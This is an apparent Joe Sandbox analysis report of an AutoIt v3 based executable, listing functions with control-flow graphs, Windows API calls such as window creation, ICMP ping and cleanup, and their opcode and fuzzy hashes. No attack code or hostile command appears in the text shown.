                                                                                                                                                                  • Part of subcall function 009935B7: RegisterClassExW.USER32(00000030), ref: 00993614
                                                                                                                                                                  • Part of subcall function 009935B7: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00993625
                                                                                                                                                                  • Part of subcall function 009935B7: InitCommonControlsEx.COMCTL32(?), ref: 00993642
                                                                                                                                                                  • Part of subcall function 009935B7: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00993652
                                                                                                                                                                  • Part of subcall function 009935B7: LoadIconW.USER32(000000A9), ref: 00993668
                                                                                                                                                                  • Part of subcall function 009935B7: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00993677
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                                                                                                                • String ID: #$0$AutoIt v3
                                                                                                                                                                • API String ID: 423443420-4155596026
                                                                                                                                                                • Opcode ID: 1c341127a179ca5059b481962f6dc9042a779fdb68adc8e283626150b2c2ce09
                                                                                                                                                                • Instruction ID: ffd3c0d2eff161f0ee968732d14746a7d36fdc774dc1be9ebe87a0c0de157bb6
                                                                                                                                                                • Opcode Fuzzy Hash: 1c341127a179ca5059b481962f6dc9042a779fdb68adc8e283626150b2c2ce09
                                                                                                                                                                • Instruction Fuzzy Hash: 2B21EA70D10714ABDB10DFE9EC49BA97FB4FB48B90F00442AF504AA3A1D7F955428F90
                                                                                                                                                                Function 00A10DA1 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 501 a10da1-a10dd8 call 99d720 504 a10df8-a10e0a WSAStartup 501->504 505 a10dda-a10de7 call 99ce08 501->505 506 a10e3d-a10e7a call 9976dc call 99c966 call 9af9f1 inet_addr gethostbyname 504->506 507 a10e0c-a10e1a 504->507 505->504 516 a10de9-a10df4 call 99ce08 505->516 524 a10e8b-a10e99 506->524 525 a10e7c-a10e89 IcmpCreateFile 506->525 509 a10e1c 507->509 510 a10e1f-a10e2f 507->510 509->510 513 a10e31 510->513 514 a10e34-a10e38 510->514 513->514 517 a11032-a1103a 514->517 516->504 527 a10e9b 524->527 528 a10e9e-a10eae 524->528 525->524 526 a10ebc-a10ee9 call 9b022b call 993172 525->526 537 a10f14-a10f31 IcmpSendEcho 526->537 538 a10eeb-a10f12 IcmpSendEcho 526->538 527->528 529 a10eb0 528->529 530 a10eb3-a10eb7 528->530 529->530 532 a11029-a1102d call 99774c 530->532 532->517 539 a10f35-a10f37 537->539 538->539 540 a10f97-a10fa5 539->540 541 a10f39-a10f3e 539->541 542 a10fa7 540->542 543 a10faa-a10fb1 540->543 544 a10fe1-a10ff3 call 99d720 541->544 545 a10f44-a10f49 541->545 542->543 547 a10fcd-a10fd6 543->547 556 a10ff5-a10ff7 544->556 557 a10ff9 544->557 548 a10fb3-a10fc1 545->548 549 a10f4b-a10f50 545->549 553 a10fd8 547->553 554 a10fdb-a10fdf 547->554 551 a10fc3 548->551 552 a10fc6 548->552 549->540 555 a10f52-a10f57 549->555 551->552 552->547 553->554 558 a10ffb-a11012 IcmpCloseHandle WSACleanup 554->558 559 a10f59-a10f5e 555->559 560 a10f7c-a10f8a 555->560 556->558 557->558 558->532 564 a11014-a11026 call 9b01ed call 9b0234 558->564 559->548 561 a10f60-a10f6e 559->561 562 a10f8c 560->562 563 a10f8f-a10f95 560->563 565 a10f70 561->565 566 a10f73-a10f7a 561->566 562->563 563->547 564->532 565->566 566->547
                                                                                                                                                                APIs
                                                                                                                                                                • WSAStartup.WS2_32(00000101,?), ref: 00A10E02
                                                                                                                                                                • inet_addr.WSOCK32(?), ref: 00A10E62
                                                                                                                                                                • gethostbyname.WS2_32(?), ref: 00A10E6E
                                                                                                                                                                • IcmpCreateFile.IPHLPAPI ref: 00A10E7C
                                                                                                                                                                • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00A10F0C
                                                                                                                                                                • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00A10F2B
                                                                                                                                                                • IcmpCloseHandle.IPHLPAPI(?), ref: 00A10FFF
                                                                                                                                                                • WSACleanup.WSOCK32 ref: 00A11005
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                                                                                                                                                • String ID: Ping
                                                                                                                                                                • API String ID: 1028309954-2246546115
                                                                                                                                                                • Opcode ID: cd14d56dcf40cb433011465a273b07a0f20bb9e99385d851f77dda9268a24dca
                                                                                                                                                                • Instruction ID: 5913ca56f34a606423088641eef3054fbc33a0347f532a98ddb70d76e83fb9e2
                                                                                                                                                                • Opcode Fuzzy Hash: cd14d56dcf40cb433011465a273b07a0f20bb9e99385d851f77dda9268a24dca
                                                                                                                                                                • Instruction Fuzzy Hash: 3091A3715082019FD720DF19C589F56BBE0FF88358F1589A9F4658B6A2C770EDC6CB81
                                                                                                                                                                Function 00993C00 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145windowtimeregistryCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 571 993c00-993c15 572 993c75-993c77 571->572 573 993c17-993c1a 571->573 572->573 574 993c79 572->574 575 993c7b 573->575 576 993c1c-993c23 573->576 577 993c60-993c68 DefWindowProcW 574->577 578 9d3fae-9d3fd6 call 9af18d call 9af060 575->578 579 993c81-993c86 575->579 580 993c29-993c2e 576->580 581 993cf5-993cfd PostQuitMessage 576->581 582 993c6e-993c74 577->582 617 9d3fdb-9d3fe2 578->617 584 993c88-993c8b 579->584 585 993cad-993cd4 SetTimer RegisterWindowMessageW 579->585 586 9d401b-9d402f call 9fc7a2 580->586 587 993c34-993c38 580->587 583 993ca9-993cab 581->583 583->582 589 9d3f4f-9d3f52 584->589 590 993c91-993ca4 KillTimer call 993b82 call 9953ce 584->590 585->583 591 993cd6-993ce1 CreatePopupMenu 585->591 586->583 612 9d4035 586->612 592 993cff-993d09 call 9afd8b 587->592 593 993c3e-993c43 587->593 597 9d3f8a-9d3fa9 MoveWindow 589->597 598 9d3f54-9d3f58 589->598 590->583 591->583 605 993d0e 592->605 600 993c49-993c4e 593->600 601 9d4000-9d4007 593->601 597->583 606 9d3f79-9d3f85 SetFocus 598->606 607 9d3f5a-9d3f5d 598->607 610 993ce3-993cf3 call 993d10 600->610 611 993c54-993c5a 600->611 601->577 609 9d400d-9d4016 call 9f1351 601->609 605->583 606->583 607->611 613 9d3f63-9d3f74 call 9af18d 607->613 609->577 610->583 611->577 611->617 612->577 613->583 617->577 618 9d3fe8-9d3ffb call 993b82 call 993df8 617->618 618->577
                                                                                                                                                                APIs
                                                                                                                                                                • DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00993BFA,?,?), ref: 00993C68
                                                                                                                                                                • KillTimer.USER32(?,00000001,?,?,?,?,?,00993BFA,?,?), ref: 00993C94
                                                                                                                                                                • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00993CB7
                                                                                                                                                                • RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00993BFA,?,?), ref: 00993CC2
                                                                                                                                                                • CreatePopupMenu.USER32 ref: 00993CD6
                                                                                                                                                                • PostQuitMessage.USER32(00000000), ref: 00993CF7
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                                                                                                                                • String ID: TaskbarCreated
                                                                                                                                                                • API String ID: 129472671-2362178303
                                                                                                                                                                • Opcode ID: e4f93b734dc8e892d67ea31922e5961c5ce54bcc7700bc09dfffa63cb2790cf2
                                                                                                                                                                • Instruction ID: a6ed8ec184cc7f163a0154eec3421700837981d7cd11a83f57436537404a4898
                                                                                                                                                                • Opcode Fuzzy Hash: e4f93b734dc8e892d67ea31922e5961c5ce54bcc7700bc09dfffa63cb2790cf2
                                                                                                                                                                • Instruction Fuzzy Hash: 61413831114908BBEF245FBCDD4EB793669E780301F04C525FD42E9291E7A99F429391
                                                                                                                                                                Function 009963CE Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332COMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 627 9963ce-996407 628 99640d-996423 mciSendStringW 627->628 629 9d4dc6-9d4dc7 DestroyWindow 627->629 630 996429-996431 628->630 631 996684-996691 628->631 632 9d4dd2-9d4ddf 629->632 630->632 633 996437-996446 call 9951e0 630->633 634 996693-9966ae UnregisterHotKey 631->634 635 9966b6-9966bd 631->635 636 9d4e0e-9d4e15 632->636 637 9d4de1-9d4de4 632->637 648 9d4e1c-9d4e28 633->648 649 99644c-996454 633->649 634->635 639 9966b0-9966b1 call 9aff16 634->639 635->630 640 9966c3 635->640 636->632 645 9d4e17 636->645 641 9d4de6-9d4dee call 9962ad 637->641 642 9d4df0-9d4df3 FindClose 637->642 639->635 640->631 647 9d4df9-9d4e06 641->647 642->647 645->648 647->636 653 9d4e08-9d4e09 call a03bc8 647->653 650 9d4e2a-9d4e2c FreeLibrary 648->650 651 9d4e32-9d4e39 648->651 654 99645a-99647f call 99d720 649->654 655 9d4e40-9d4e4d 649->655 650->651 651->648 656 9d4e3b 651->656 653->636 665 996481 654->665 666 9964b6-9964c1 CoUninitialize 654->666 657 9d4e4f-9d4e6c VirtualFree 655->657 658 9d4e74-9d4e7b 655->658 656->655 657->658 661 9d4e6e-9d4e6f call a03c2e 657->661 658->655 662 9d4e7d 658->662 661->658 668 9d4e82-9d4e86 662->668 669 996484-9964b4 call 995145 call 995189 665->669 667 9964c7-9964cc 666->667 666->668 671 9d4e97-9d4ea4 call a03c02 667->671 672 9964d2-9964dc 667->672 668->667 673 9d4e8c-9d4e92 668->673 669->666 685 9d4ea6 671->685 676 9964e2-996563 call 99774c call 9961ba call 995228 call 9b0234 call 996214 call 99774c call 99d720 call 99523e call 9b0234 672->676 677 9966c5-9966d2 call 9afb08 672->677 673->667 689 9d4eab-9d4ecd call 9b01ed 676->689 717 996569-99658d call 9b0234 676->717 677->676 687 9966d8 677->687 685->689 687->677 695 9d4ecf 689->695 699 9d4ed4-9d4ef6 call 9b01ed 695->699 705 9d4ef8 699->705 708 9d4efd-9d4f1f call 9b01ed 705->708 713 9d4f21 708->713 716 9d4f26-9d4f33 call 9f6cf0 713->716 722 9d4f35 716->722 717->699 723 996593-9965b7 call 9b0234 717->723 725 9d4f3a-9d4f47 call 9aed4e 722->725 723->708 727 9965bd-9965d7 call 9b0234 723->727 732 9d4f49 725->732 727->716 733 9965dd-996601 call 995228 call 9b0234 727->733 735 9d4f4e-9d4f5b call a03b5c 732->735 733->725 742 996607-99660f 733->742 740 9d4f5d 735->740 743 9d4f62-9d4f6f call a03be3 740->743 742->735 744 996615-996633 call 99774c call 995cf3 742->744 749 9d4f71 743->749 744->743 753 996639-996647 744->753 752 9d4f76-9d4f83 call a03be3 749->752 759 9d4f85 752->759 753->752 755 99664d-996683 call 99774c * 3 call 99702c 753->755 759->759
                                                                                                                                                                APIs
                                                                                                                                                                • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00996417
                                                                                                                                                                • CoUninitialize.COMBASE ref: 009964B6
                                                                                                                                                                • UnregisterHotKey.USER32(?), ref: 0099669B
                                                                                                                                                                • DestroyWindow.USER32(?), ref: 009D4DC7
                                                                                                                                                                • FreeLibrary.KERNEL32(?), ref: 009D4E2C
                                                                                                                                                                • VirtualFree.KERNEL32(?,00000000,00008000), ref: 009D4E59
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                                                                                                                                • String ID: close all
                                                                                                                                                                • API String ID: 469580280-3243417748
                                                                                                                                                                • Opcode ID: 1f10e4a89fd921de5771e6d2cbff6d62faa3d42e9b76b5743eb6c96a19a9abc5
                                                                                                                                                                • Instruction ID: 18047213ef2476e2c1b77ba89a500d3a31c801e768d99eb8fd75776b70bffe4e
                                                                                                                                                                • Opcode Fuzzy Hash: 1f10e4a89fd921de5771e6d2cbff6d62faa3d42e9b76b5743eb6c96a19a9abc5
                                                                                                                                                                • Instruction Fuzzy Hash: EAD16C31641212DFCF25DF58D995B29F7A5BF44714F1582AEE90A6B262CB30EC12CF90
                                                                                                                                                                Function 009C9165 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 766 9c9165-9c9175 767 9c918f-9c9191 766->767 768 9c9177-9c918a call 9c2c25 call 9c2c38 766->768 769 9c94f9-9c9506 call 9c2c25 call 9c2c38 767->769 770 9c9197-9c919d 767->770 786 9c9511 768->786 787 9c950c call 9c2b7c 769->787 770->769 772 9c91a3-9c91ce 770->772 772->769 775 9c91d4-9c91dd 772->775 778 9c91df-9c91f2 call 9c2c25 call 9c2c38 775->778 779 9c91f7-9c91f9 775->779 778->787 784 9c91ff-9c9203 779->784 785 9c94f5-9c94f7 779->785 784->785 790 9c9209-9c920d 784->790 788 9c9514-9c9519 785->788 786->788 787->786 790->778 793 9c920f-9c9226 790->793 795 9c9228-9c922b 793->795 796 9c9243-9c924c 793->796 799 9c922d-9c9233 795->799 800 9c9235-9c923e 795->800 797 9c924e-9c9265 call 9c2c25 call 9c2c38 call 9c2b7c 796->797 798 9c926a-9c9274 796->798 829 9c942c 797->829 802 9c927b-9c9299 call 9c3c40 call 9c2de8 * 2 798->802 803 9c9276-9c9278 798->803 799->797 799->800 804 9c92df-9c92f9 800->804 833 9c929b-9c92b1 call 9c2c38 call 9c2c25 802->833 834 9c92b6-9c92dc call 9c9844 802->834 803->802 806 9c93cd-9c93d6 call 9cfcbc 804->806 807 9c92ff-9c930f 804->807 818 9c93d8-9c93ea 806->818 819 9c9449 806->819 807->806 811 9c9315-9c9317 807->811 811->806 815 9c931d-9c9343 811->815 815->806 820 9c9349-9c935c 815->820 818->819 824 9c93ec-9c93fb GetConsoleMode 818->824 822 9c944d-9c9465 ReadFile 819->822 820->806 825 9c935e-9c9360 820->825 827 9c9467-9c946d 822->827 828 9c94c1-9c94cc GetLastError 822->828 824->819 830 9c93fd-9c9401 824->830 825->806 831 9c9362-9c938d 825->831 827->828 837 9c946f 827->837 835 9c94ce-9c94e0 call 9c2c38 call 9c2c25 828->835 836 9c94e5-9c94e8 828->836 839 9c942f-9c9439 call 9c2de8 829->839 830->822 838 9c9403-9c941d ReadConsoleW 830->838 831->806 840 9c938f-9c93a2 831->840 833->829 834->804 835->829 848 9c94ee-9c94f0 836->848 849 9c9425-9c942b call 9c2c02 836->849 845 9c9472-9c9484 837->845 846 9c943e-9c9447 838->846 847 9c941f GetLastError 838->847 839->788 840->806 841 9c93a4-9c93a6 840->841 841->806 852 9c93a8-9c93c8 841->852 845->839 856 9c9486-9c948a 845->856 846->845 847->849 848->839 849->829 852->806 860 9c948c-9c949c call 9c8e81 856->860 861 9c94a3-9c94ae 856->861 872 9c949f-9c94a1 860->872 866 9c94ba-9c94bf call 9c8cc1 861->866 867 9c94b0 call 9c8fd1 861->867 873 9c94b5-9c94b8 866->873 867->873 872->839 873->872
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: 4db4c1252a849bbc824e6d38c98cb9d0f6345d5c7966f79d14d91a7db2053f3f
                                                                                                                                                                • Instruction ID: 059650cb59baae6fb99650bef16f565c60ffa7e76d16439fee887712890221b0
                                                                                                                                                                • Opcode Fuzzy Hash: 4db4c1252a849bbc824e6d38c98cb9d0f6345d5c7966f79d14d91a7db2053f3f
                                                                                                                                                                • Instruction Fuzzy Hash: 16C11470D04259AFDF15DFA8C849FADBBB4BF4A300F18459DE850A73A2C7349942CB62
                                                                                                                                                                Function 009AB1EB Relevance: 12.9, APIs: 1, Strings: 6, Instructions: 671COMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 874 9ab1eb-9ab610 call 99c966 call 9ac081 call 99d720 881 9e888b-9e8898 874->881 882 9ab616-9ab620 874->882 885 9e889d-9e88ac 881->885 886 9e889a 881->886 883 9e8c72-9e8c80 882->883 884 9ab626-9ab62b 882->884 889 9e8c85 883->889 890 9e8c82 883->890 891 9e88b9-9e88bb 884->891 892 9ab631-9ab63d call 9abb63 884->892 887 9e88ae 885->887 888 9e88b1 885->888 886->885 887->888 888->891 893 9e8c8c-9e8c95 889->893 890->889 897 9e88c4 891->897 892->897 899 9ab643-9ab650 call 99ce08 892->899 895 9e8c9a 893->895 896 9e8c97 893->896 901 9e8ca3-9e8cf2 call 99d720 call 9abfe7 * 2 895->901 896->895 900 9e88ce 897->900 907 9ab658-9ab661 899->907 905 9e88d6-9e88d9 900->905 933 9ab78d-9ab7a2 901->933 942 9e8cf8-9e8d0a call 9abb63 901->942 909 9e88df-9e8907 call 9b4d83 call 99791d 905->909 910 9ab705-9ab71c 905->910 908 9ab665-9ab683 call 9b4e48 907->908 927 9ab692 908->927 928 9ab685-9ab68e 908->928 953 9e8909-9e890d 909->953 954 9e8934-9e8958 call 9962d7 call 99774c 909->954 915 9e8c5b-9e8c5e 910->915 916 9ab722 910->916 920 9e8d48-9e8d80 call 99d720 call 9abfe7 915->920 921 9e8c64-9e8c67 915->921 922 9ab728-9ab72b 916->922 923 9e8c06-9e8c27 call 99d720 916->923 920->933 978 9e8d86-9e8d98 call 9abb63 920->978 921->901 924 9e8c69-9e8c6c 921->924 925 9ab731-9ab734 922->925 926 9e8a30-9e8a4a call 9abfe7 922->926 923->933 946 9e8c2d-9e8c3f call 9abb63 923->946 924->883 924->933 934 9ab73a-9ab73d 925->934 935 9e89d1-9e89e7 call 99600d 925->935 964 9e8b96-9e8bbc call 99d720 926->964 965 9e8a50-9e8a53 926->965 927->900 938 9ab698-9ab6a9 927->938 928->908 936 9ab690 928->936 948 9ab7a8-9ab7b8 call 99d720 933->948 949 9e8dd0-9e8dd6 933->949 944 9e895d-9e8960 934->944 945 9ab743-9ab765 call 99d720 934->945 935->933 981 9e89ed-9e8a03 call 9abb63 935->981 936->938 938->883 947 9ab6af-9ab6c9 938->947 969 9e8d0c-9e8d14 942->969 970 9e8d36-9e8d43 call 99ce08 942->970 944->883 961 9e8966-9e897b call 99600d 944->961 945->933 985 9ab767-9ab779 call 9abb63 945->985 988 9e8c4c 946->988 989 9e8c41-9e8c4a call 99ce08 946->989 947->905 960 9ab6cf-9ab701 call 9abfe7 call 99d720 947->960 949->907 966 9e8ddc 949->966 953->954 955 9e890f-9e8932 call 99afe0 953->955 954->944 955->953 955->954 960->910 961->933 1008 9e8981-9e8997 call 9abb63 961->1008 964->933 1011 9e8bc2-9e8bd4 call 9abb63 964->1011 976 9e8ac6-9e8ae5 call 99d720 965->976 977 9e8a55-9e8a58 965->977 966->883 983 9e8d16-9e8d1a 969->983 984 9e8d25-9e8d30 call 99c245 969->984 1022 9e8dc9-9e8dcb 970->1022 976->933 1014 9e8aeb-9e8afd call 9abb63 976->1014 991 9e8a5e-9e8a7b call 99d720 977->991 992 9e8de1-9e8def 977->992 1026 9e8dbc-9e8dc5 call 99ce08 978->1026 1027 9e8d9a-9e8da2 978->1027 1015 9e8a14-9e8a1d call 99c966 981->1015 1016 9e8a05-9e8a12 call 99c966 981->1016 983->984 1001 9e8d1c-9e8d20 983->1001 984->970 1033 9e8e12-9e8e20 984->1033 1034 9ab77f-9ab78b 985->1034 1035 9e89c1-9e89ca call 99ce08 985->1035 1007 9e8c50-9e8c56 988->1007 989->1007 991->933 1037 9e8a81-9e8a93 call 9abb63 991->1037 998 9e8df4-9e8e04 992->998 999 9e8df1 992->999 1017 9e8e09-9e8e0d 998->1017 1018 9e8e06 998->1018 999->998 1019 9e8da8-9e8daa 1001->1019 1007->933 1047 9e8999-9e89a2 call 99ce08 1008->1047 1048 9e89a4-9e89b2 call 99c966 1008->1048 1052 9e8bd6-9e8be3 call 99ce08 1011->1052 1053 9e8be5 1011->1053 1014->933 1055 9e8b03-9e8b0c call 9abb63 1014->1055 1056 9e8a20-9e8a2b call 99b0db 1015->1056 1016->1056 1017->948 1018->1017 1019->933 1022->933 1026->1022 1038 9e8daf-9e8dba call 99c245 1027->1038 1039 9e8da4 1027->1039 1044 9e8e25-9e8e28 1033->1044 1045 9e8e22 1033->1045 1034->933 1035->935 1068 9e8aa6 1037->1068 1069 9e8a95-9e8aa4 call 99ce08 1037->1069 1038->1026 1038->1033 1039->1019 1044->893 1045->1044 1076 9e89b5-9e89bc 1047->1076 1048->1076 1063 9e8be9-9e8bf0 1052->1063 1053->1063 1081 9e8b0e-9e8b1d call 99ce08 1055->1081 1082 9e8b1f 1055->1082 1056->933 1071 9e8bfc call 993b82 1063->1071 1072 9e8bf2-9e8bf7 call 993df8 1063->1072 1078 9e8aaa-9e8ab5 call 9b93e4 1068->1078 1069->1078 1080 9e8c01 1071->1080 1072->933 1076->933 1078->883 1092 9e8abb-9e8ac1 1078->1092 1080->933 1087 9e8b23-9e8b46 1081->1087 1082->1087 1090 9e8b48-9e8b4f 1087->1090 1091 9e8b54-9e8b57 1087->1091 1090->1091 1093 9e8b59-9e8b62 1091->1093 1094 9e8b67-9e8b6a 1091->1094 1092->933 1093->1094 1095 9e8b6c-9e8b75 1094->1095 1096 9e8b7a-9e8b7d 1094->1096 1095->1096 1096->933 1097 9e8b83-9e8b91 1096->1097 1097->933
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID: d0b$d10m0$d1b$d1r0,2$d5m0$i
                                                                                                                                                                • API String ID: 0-4285391669
                                                                                                                                                                • Opcode ID: 5fe592c2baf74ccdd8fe23b19a65e4cc12b18864c4d5185b6ba9bbe75d3d581c
                                                                                                                                                                • Instruction ID: 1391f3497e710aea578b2eeb82bbace05adee3fc5c9dc4f8f15370588f376076
                                                                                                                                                                • Opcode Fuzzy Hash: 5fe592c2baf74ccdd8fe23b19a65e4cc12b18864c4d5185b6ba9bbe75d3d581c
                                                                                                                                                                • Instruction Fuzzy Hash: 8E6269B0509381CFC724CF59D184AAABBE0BFC9304F14896EE4998B392DB70D945CF92
                                                                                                                                                                Function 00993546 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 1134 993546-9935b6 CreateWindowExW * 2 ShowWindow * 2
                                                                                                                                                                APIs
                                                                                                                                                                • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00993574
                                                                                                                                                                • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00993595
                                                                                                                                                                • ShowWindow.USER32(00000000,?,?,?,?,?,?,0099292D,?), ref: 009935A9
                                                                                                                                                                • ShowWindow.USER32(00000000,?,?,?,?,?,?,0099292D,?), ref: 009935B2
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
